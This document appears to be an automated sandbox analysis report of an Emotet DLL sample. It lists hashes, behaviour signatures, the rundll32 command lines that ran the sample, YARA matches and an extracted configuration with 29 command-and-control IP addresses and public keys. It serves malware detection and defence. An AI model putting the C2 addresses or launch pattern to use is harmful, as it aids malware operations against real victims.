Play interactive tour

Edit tour

Windows Analysis Report mal.dll

Overview

General Information

Sample Name:	mal.dll
Analysis ID:	532106
MD5:	9efbd03d5576686dd9f0678c09abe9fc
SHA1:	0b821e78137018bbf3f9c67d3b049e33d5b36ae5
SHA256:	972f9350219dcc2df463f923ec5b559f4ab69f083da9ccbd0976c51bc19f3f5b
Infos:
Most interesting Screenshot:

Detection

Emotet

Score:	80
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected Emotet

Found detection on Joe Sandbox Cloud Basic with higher score

C2 URLs / IPs found in malware configuration

Hides that the sample has been downloaded from the Internet (zone.identifier)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

One or more processes crash

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Deletes files inside the Windows folder

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Creates files inside the system directory

Internet Provider seen in connection with other malware

Detected potential crypto function

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Contains functionality to dynamically determine API calls

Contains functionality which may be used to detect a debugger (GetProcessHeap)

IP address seen in connection with other malware

Abnormal high CPU Usage

AV process strings found (often used to terminate AV products)

Contains functionality to read the PEB

Drops PE files to the windows directory (C:\Windows)

Checks if the current process is being debugged

Connects to several IPs in different countries

Queries disk information (often used to detect virtual machines)

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

loaddll32.exe (PID: 6524 cmdline: loaddll32.exe "C:\Users\user\Desktop\mal.dll" MD5: 72FCD8FB0ADC38ED9050569AD673650E)

cmd.exe (PID: 6552 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\mal.dll",#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)

rundll32.exe (PID: 1432 cmdline: rundll32.exe "C:\Users\user\Desktop\mal.dll",#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 5784 cmdline: C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\mal.dll",Control_RunDLL MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 1324 cmdline: rundll32.exe C:\Users\user\Desktop\mal.dll,Control_RunDLL MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 6444 cmdline: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Jxqjexglbxuwcsnd\ncmurmkelbjyq.yqk",ewrKlpBownvGxgM MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 2132 cmdline: rundll32.exe C:\Users\user\Desktop\mal.dll,axamexdrqyrgb MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 5304 cmdline: C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\mal.dll",Control_RunDLL MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 5300 cmdline: rundll32.exe C:\Users\user\Desktop\mal.dll,bhramccfbdd MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 5644 cmdline: C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\mal.dll",Control_RunDLL MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

WerFault.exe (PID: 5316 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6524 -s 308 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

WerFault.exe (PID: 2804 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6524 -s 344 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

svchost.exe (PID: 4932 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 6964 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: 32569E403279B3FD2EDB7EBD036273FA)

WerFault.exe (PID: 6224 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 6524 -ip 6524 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

WerFault.exe (PID: 3732 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 6524 -ip 6524 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

cleanup

Malware Configuration

Threatname: Emotet

{"C2 list": ["46.55.222.11:443", "104.245.52.73:8080", "41.76.108.46:8080", "103.8.26.103:8080", "185.184.25.237:8080", "103.8.26.102:8080", "203.114.109.124:443", "45.118.115.99:8080", "178.79.147.66:8080", "58.227.42.236:80", "45.118.135.203:7080", "103.75.201.2:443", "195.154.133.20:443", "45.142.114.231:8080", "212.237.5.209:443", "207.38.84.195:8080", "104.251.214.46:8080", "212.237.17.99:8080", "212.237.56.116:7080", "216.158.226.206:443", "110.232.117.186:8080", "158.69.222.101:443", "107.182.225.142:8080", "176.104.106.96:8080", "81.0.236.90:443", "50.116.54.215:443", "138.185.72.26:8080", "51.68.175.8:8080", "210.57.217.132:8080"], "Public Key": ["RUNTMSAAAABAX3S2xNjcDD0fBno33Ln5t71eii+mofIPoXkNFOX1MeiwCh48iz97kB0mJjGGZXwardnDXKxI8GCHGNl0PFj5", "RUNLMSAAAADzozW1Di4r9DVWzQpMKT588RDdy7BPILP6AiDOTLYMHkSWvrQO5slbmr1OvZ2Pz+AQWzRMggQmAtO6rPH7nyx2"]}

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000000.00000000.650731221.0000000000C3C000.00000004.00000020.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000000.00000000.649143533.00000000007B0000.00000040.00000010.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000000.00000000.676710015.0000000000C3C000.00000004.00000020.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000000.00000000.649539674.0000000000C3C000.00000004.00000020.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000000.00000000.675954463.00000000007B0000.00000040.00000010.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000003.00000003.607531187.0000000002F59000.00000004.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000007.00000002.648863734.0000000002D60000.00000040.00000010.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000000.00000000.678039015.0000000000C3C000.00000004.00000020.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000004.00000002.646384056.000000000291A000.00000004.00000020.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000007.00000002.648896656.0000000002EEA000.00000004.00000020.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000006.00000002.639924880.0000000002DAA000.00000004.00000020.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000000.00000000.677709015.00000000007B0000.00000040.00000010.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000004.00000002.646347873.0000000002780000.00000040.00000010.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000006.00000002.639880819.0000000002C10000.00000040.00000010.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000000.00000000.650535103.00000000007B0000.00000040.00000010.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
Click to see the 11 entries

Unpacked PEs

Source	Rule	Description	Author
0.0.loaddll32.exe.c42f68.1.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
3.2.rundll32.exe.29c0000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.c42f68.7.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.c42f68.10.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.7b0000.3.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.7b0000.3.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
6.2.rundll32.exe.2c10000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
7.2.rundll32.exe.2d60000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.7b0000.6.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
6.2.rundll32.exe.2c10000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.c42f68.4.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.c42f68.7.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
7.2.rundll32.exe.2f020d8.1.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.c42f68.10.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.7b0000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
7.2.rundll32.exe.2d60000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
4.2.rundll32.exe.29320e8.1.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.7b0000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.c42f68.4.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.7b0000.9.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.7b0000.9.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.c42f68.1.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
6.2.rundll32.exe.2dc2098.1.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
3.2.rundll32.exe.29c0000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
4.2.rundll32.exe.2780000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.7b0000.6.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
4.2.rundll32.exe.2780000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
6.2.rundll32.exe.2dc2098.1.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
4.2.rundll32.exe.29320e8.1.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
7.2.rundll32.exe.2f020d8.1.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
Click to see the 25 entries

Sigma Overview

No Sigma rule has matched

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 0.0.loaddll32.exe.7b0000.0.unpack

Malware Configuration Extractor: Emotet {"C2 list": ["46.55.222.11:443", "104.245.52.73:8080", "41.76.108.46:8080", "103.8.26.103:8080", "185.184.25.237:8080", "103.8.26.102:8080", "203.114.109.124:443", "45.118.115.99:8080", "178.79.147.66:8080", "58.227.42.236:80", "45.118.135.203:7080", "103.75.201.2:443", "195.154.133.20:443", "45.142.114.231:8080", "212.237.5.209:443", "207.38.84.195:8080", "104.251.214.46:8080", "212.237.17.99:8080", "212.237.56.116:7080", "216.158.226.206:443", "110.232.117.186:8080", "158.69.222.101:443", "107.182.225.142:8080", "176.104.106.96:8080", "81.0.236.90:443", "50.116.54.215:443", "138.185.72.26:8080", "51.68.175.8:8080", "210.57.217.132:8080"], "Public Key": ["RUNTMSAAAABAX3S2xNjcDD0fBno33Ln5t71eii+mofIPoXkNFOX1MeiwCh48iz97kB0mJjGGZXwardnDXKxI8GCHGNl0PFj5", "RUNLMSAAAADzozW1Di4r9DVWzQpMKT588RDdy7BPILP6AiDOTLYMHkSWvrQO5slbmr1OvZ2Pz+AQWzRMggQmAtO6rPH7nyx2"]}

Multi AV Scanner detection for submitted file

Show sources

Source: mal.dll

ReversingLabs: Detection: 24%

Source: mal.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL, LARGE_ADDRESS_AWARE

Source: mal.dll

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: pCReportStore::Prune: MaxReportCount=%d MaxSizeInMb=%dRSDSwkernel32.pdb source: WerFault.exe, 00000013.00000002.673923692.00000000032B2000.00000004.00000001.sdmp
Source:	Binary string: wgdi32full.pdb source: WerFault.exe, 00000013.00000003.658765535.0000000005971000.00000004.00000001.sdmp, WerFault.exe, 00000015.00000003.689172123.0000000005241000.00000004.00000001.sdmp
Source:	Binary string: msvcp_win.pdb source: WerFault.exe, 00000013.00000003.658765535.0000000005971000.00000004.00000001.sdmp, WerFault.exe, 00000015.00000003.689172123.0000000005241000.00000004.00000001.sdmp
Source:	Binary string: wkernel32.pdb source: WerFault.exe, 00000013.00000003.655817193.00000000050F7000.00000004.00000001.sdmp, WerFault.exe, 00000013.00000003.658765535.0000000005971000.00000004.00000001.sdmp, WerFault.exe, 00000015.00000003.689172123.0000000005241000.00000004.00000001.sdmp
Source:	Binary string: ucrtbase.pdb source: WerFault.exe, 00000013.00000003.658765535.0000000005971000.00000004.00000001.sdmp, WerFault.exe, 00000015.00000003.689172123.0000000005241000.00000004.00000001.sdmp
Source:	Binary string: wkernelbase.pdb source: WerFault.exe, 00000013.00000003.658765535.0000000005971000.00000004.00000001.sdmp, WerFault.exe, 00000015.00000003.689172123.0000000005241000.00000004.00000001.sdmp
Source:	Binary string: wimm32.pdb source: WerFault.exe, 00000013.00000003.658765535.0000000005971000.00000004.00000001.sdmp, WerFault.exe, 00000015.00000003.689172123.0000000005241000.00000004.00000001.sdmp
Source:	Binary string: wwin32u.pdb source: WerFault.exe, 00000013.00000003.658765535.0000000005971000.00000004.00000001.sdmp, WerFault.exe, 00000015.00000003.689172123.0000000005241000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdb source: WerFault.exe, 00000013.00000003.658765535.0000000005971000.00000004.00000001.sdmp, WerFault.exe, 00000015.00000003.689172123.0000000005241000.00000004.00000001.sdmp
Source:	Binary string: apphelp.pdb source: WerFault.exe, 00000013.00000003.658765535.0000000005971000.00000004.00000001.sdmp, WerFault.exe, 00000015.00000003.689172123.0000000005241000.00000004.00000001.sdmp
Source:	Binary string: wuser32.pdb source: WerFault.exe, 00000013.00000003.658765535.0000000005971000.00000004.00000001.sdmp, WerFault.exe, 00000015.00000003.689172123.0000000005241000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdbk source: WerFault.exe, 00000013.00000003.658765535.0000000005971000.00000004.00000001.sdmp, WerFault.exe, 00000015.00000003.689172123.0000000005241000.00000004.00000001.sdmp
Source:	Binary string: wgdi32.pdb source: WerFault.exe, 00000013.00000003.658765535.0000000005971000.00000004.00000001.sdmp, WerFault.exe, 00000015.00000003.689172123.0000000005241000.00000004.00000001.sdmp

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_6EA12FE7 FindFirstFileExW,

3_2_6EA12FE7

Networking:

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor	IPs: 46.55.222.11:443
Source: Malware configuration extractor	IPs: 104.245.52.73:8080
Source: Malware configuration extractor	IPs: 41.76.108.46:8080
Source: Malware configuration extractor	IPs: 103.8.26.103:8080
Source: Malware configuration extractor	IPs: 185.184.25.237:8080
Source: Malware configuration extractor	IPs: 103.8.26.102:8080
Source: Malware configuration extractor	IPs: 203.114.109.124:443
Source: Malware configuration extractor	IPs: 45.118.115.99:8080
Source: Malware configuration extractor	IPs: 178.79.147.66:8080
Source: Malware configuration extractor	IPs: 58.227.42.236:80
Source: Malware configuration extractor	IPs: 45.118.135.203:7080
Source: Malware configuration extractor	IPs: 103.75.201.2:443
Source: Malware configuration extractor	IPs: 195.154.133.20:443
Source: Malware configuration extractor	IPs: 45.142.114.231:8080
Source: Malware configuration extractor	IPs: 212.237.5.209:443
Source: Malware configuration extractor	IPs: 207.38.84.195:8080
Source: Malware configuration extractor	IPs: 104.251.214.46:8080
Source: Malware configuration extractor	IPs: 212.237.17.99:8080
Source: Malware configuration extractor	IPs: 212.237.56.116:7080
Source: Malware configuration extractor	IPs: 216.158.226.206:443
Source: Malware configuration extractor	IPs: 110.232.117.186:8080
Source: Malware configuration extractor	IPs: 158.69.222.101:443
Source: Malware configuration extractor	IPs: 107.182.225.142:8080
Source: Malware configuration extractor	IPs: 176.104.106.96:8080
Source: Malware configuration extractor	IPs: 81.0.236.90:443
Source: Malware configuration extractor	IPs: 50.116.54.215:443
Source: Malware configuration extractor	IPs: 138.185.72.26:8080
Source: Malware configuration extractor	IPs: 51.68.175.8:8080
Source: Malware configuration extractor	IPs: 210.57.217.132:8080

Source: Joe Sandbox View	ASN Name: OnlineSASFR OnlineSASFR
Source: Joe Sandbox View	ASN Name: ARUBA-ASNIT ARUBA-ASNIT

Source: Joe Sandbox View	IP Address: 195.154.133.20 195.154.133.20
Source: Joe Sandbox View	IP Address: 212.237.17.99 212.237.17.99

Source: unknown

Network traffic detected: IP country count 19

Source: svchost.exe, 0000000A.00000002.699912374.00000203B6E62000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: svchost.exe, 0000000A.00000002.699638301.00000203B6E11000.00000004.00000001.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 0000000A.00000002.699595506.00000203B6E00000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
Source: Amcache.hve.19.dr	String found in binary or memory: http://upx.sf.net

E-Banking Fraud:

Yara detected Emotet

Show sources

Source: Yara match	File source: 0.0.loaddll32.exe.c42f68.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.29c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.c42f68.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.c42f68.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.7b0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.7b0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.rundll32.exe.2c10000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.2d60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.7b0000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.rundll32.exe.2c10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.c42f68.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.c42f68.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.2f020d8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.c42f68.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.7b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.2d60000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.29320e8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.7b0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.c42f68.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.7b0000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.7b0000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.c42f68.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.rundll32.exe.2dc2098.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.29c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.2780000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.7b0000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.2780000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.rundll32.exe.2dc2098.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.29320e8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.2f020d8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.650731221.0000000000C3C000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.649143533.00000000007B0000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.676710015.0000000000C3C000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.649539674.0000000000C3C000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.675954463.00000000007B0000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.607531187.0000000002F59000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.648863734.0000000002D60000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.678039015.0000000000C3C000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.646384056.000000000291A000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.648896656.0000000002EEA000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.639924880.0000000002DAA000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.677709015.00000000007B0000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.646347873.0000000002780000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.639880819.0000000002C10000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.650535103.00000000007B0000.00000040.00000010.sdmp, type: MEMORY

System Summary:

Found detection on Joe Sandbox Cloud Basic with higher score

Show sources

Source: mal.dll

Joe Sandbox Cloud Basic: Detection: malicious Score: 84 Threat Name: Emotet

Perma Link

Source: mal.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL, LARGE_ADDRESS_AWARE

Source: C:\Windows\System32\svchost.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 6524 -ip 6524

Source: C:\Windows\SysWOW64\rundll32.exe

File deleted: C:\Windows\SysWOW64\Jxqjexglbxuwcsnd\ncmurmkelbjyq.yqk:Zone.Identifier

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

File created: C:\Windows\SysWOW64\Jxqjexglbxuwcsnd\

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029CF699	3_2_029CF699
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029CAEB9	3_2_029CAEB9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029D56A9	3_2_029D56A9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029E06EF	3_2_029E06EF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029DBA18	3_2_029DBA18
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029D604E	3_2_029D604E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029DED95	3_2_029DED95
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029DE7DA	3_2_029DE7DA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029D89DA	3_2_029D89DA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029D91F7	3_2_029D91F7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029C5314	3_2_029C5314
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029C8112	3_2_029C8112
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029D3130	3_2_029D3130
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029C8D59	3_2_029C8D59
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029C2B7C	3_2_029C2B7C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029C196D	3_2_029C196D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029CD899	3_2_029CD899
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029CC69B	3_2_029CC69B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029C3085	3_2_029C3085
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029D3ABE	3_2_029D3ABE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029DB0BA	3_2_029DB0BA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029C68AD	3_2_029C68AD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029D04A4	3_2_029D04A4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029CF4A5	3_2_029CF4A5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029D7EDD	3_2_029D7EDD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029E0AD3	3_2_029E0AD3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029C54C0	3_2_029C54C0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029CE6FD	3_2_029CE6FD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029E20F8	3_2_029E20F8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029CBEF5	3_2_029CBEF5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029CA8E8	3_2_029CA8E8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029E2C16	3_2_029E2C16
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029D1C12	3_2_029D1C12
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029CF20D	3_2_029CF20D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029DCC3F	3_2_029DCC3F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029C3E3B	3_2_029C3E3B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029D0A37	3_2_029D0A37
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029D0824	3_2_029D0824
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029D645F	3_2_029D645F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029DE478	3_2_029DE478
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029E1C71	3_2_029E1C71
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029E0C66	3_2_029E0C66
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029D6B91	3_2_029D6B91
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029C938F	3_2_029C938F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029CF984	3_2_029CF984
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029E1987	3_2_029E1987
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029C7D87	3_2_029C7D87
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029C33A9	3_2_029C33A9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029D77A7	3_2_029D77A7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029DBFA1	3_2_029DBFA1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029D13DB	3_2_029D13DB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029D4DC5	3_2_029D4DC5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029D0FC5	3_2_029D0FC5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029C2DC5	3_2_029C2DC5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029C5DC3	3_2_029C5DC3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029C39C3	3_2_029C39C3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029C6BFE	3_2_029C6BFE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029DD5FE	3_2_029DD5FE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029C1DF9	3_2_029C1DF9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029CB7EC	3_2_029CB7EC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029CFBEF	3_2_029CFBEF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029E35E3	3_2_029E35E3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029D8518	3_2_029D8518
